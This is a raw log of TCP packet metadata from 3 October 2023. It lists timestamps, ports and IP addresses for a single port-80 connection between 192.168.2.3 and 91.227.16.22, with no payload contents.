Oct 3, 2023 09:55:09.503762007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503803015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503873110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503923893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503938913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504035950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504105091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504105091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504173994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504264116 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504317045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504358053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504391909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504416943 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504466057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504525900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504533052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504591942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504617929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504657984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504704952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504785061 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.504787922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504889965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504934072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.504952908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505033970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505089998 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505130053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505201101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505254030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505256891 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505302906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505352020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505361080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505451918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505479097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505537987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505541086 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505598068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505624056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505685091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505706072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505752087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505779028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505810976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505837917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.505923033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.505975008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506016970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506058931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506089926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506129026 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506161928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506247044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506249905 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506339073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506419897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506418943 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506493092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506558895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506587029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506622076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506676912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506676912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506743908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506814003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506824017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506886005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506927013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.506946087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.506993055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507038116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507047892 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507127047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507193089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507193089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507273912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507334948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507371902 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507396936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507455111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507462978 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507503986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507555962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507572889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507674932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507736921 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507750034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507810116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507857084 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507864952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507924080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.507970095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.507976055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508030891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508074999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508120060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508181095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508230925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508270979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508357048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508409023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508464098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508538961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508594036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508601904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508670092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508718014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508774042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508857965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508917093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.508928061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.508956909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509002924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509006977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509038925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509087086 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509114981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509152889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509191036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509212971 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509252071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509303093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509331942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509409904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509460926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509489059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509565115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509610891 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509660006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509742975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509789944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509815931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509900093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.509947062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.509988070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510051012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510097027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510210991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510274887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510318995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510356903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510402918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510453939 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510499954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510564089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510612965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510628939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510699034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510741949 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510752916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510802984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510848999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510874987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510940075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.510982990 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.510997057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511046886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511092901 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511153936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511202097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511245966 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511296034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511328936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511369944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511379957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511450052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511495113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511516094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511571884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511615992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511639118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511701107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511746883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511771917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511821032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511866093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.511877060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.511956930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512003899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512022972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512106895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512151003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512154102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512260914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512305975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512377024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512439013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512484074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512523890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512581110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512628078 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512640953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512715101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512759924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512798071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512840033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.512882948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.512933969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513021946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513067007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513092041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513154030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513199091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513254881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513283968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513328075 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513365984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513458967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513504982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513544083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513608932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513653040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513709068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513772964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513817072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.513865948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513933897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.513978958 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514014959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514092922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514139891 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514179945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514272928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514319897 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514358997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514403105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514451027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514478922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514533997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514576912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514585972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514650106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514694929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514739037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514801979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.514847994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.514885902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515032053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515078068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515115023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515197039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515243053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515264988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515341043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515388012 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515412092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515474081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515510082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515527010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515564919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515609026 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515614986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515666962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515708923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.515829086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515904903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515945911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.515949965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516021013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516066074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516103983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516190052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516246080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516283035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516354084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516402006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516446114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516532898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516580105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516586065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516649008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516694069 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516738892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516849995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516895056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.516911983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.516978025 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517014980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517047882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517071962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517117023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517136097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517184973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517230988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517237902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517265081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517309904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517311096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517399073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517447948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517472029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517555952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517600060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517605066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517661095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517705917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517731905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517798901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517843962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517846107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517899036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517925024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.517942905 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.517995119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518019915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518039942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518085957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518121958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518136024 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518204927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518253088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518254995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518290997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518333912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518373013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518398046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518443108 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518481970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518516064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518558025 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518563032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518614054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518667936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518681049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518759012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518800974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518822908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518858910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518898964 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.518920898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.518935919 CEST	80	49816	91.227.16.22	192.168.2.3
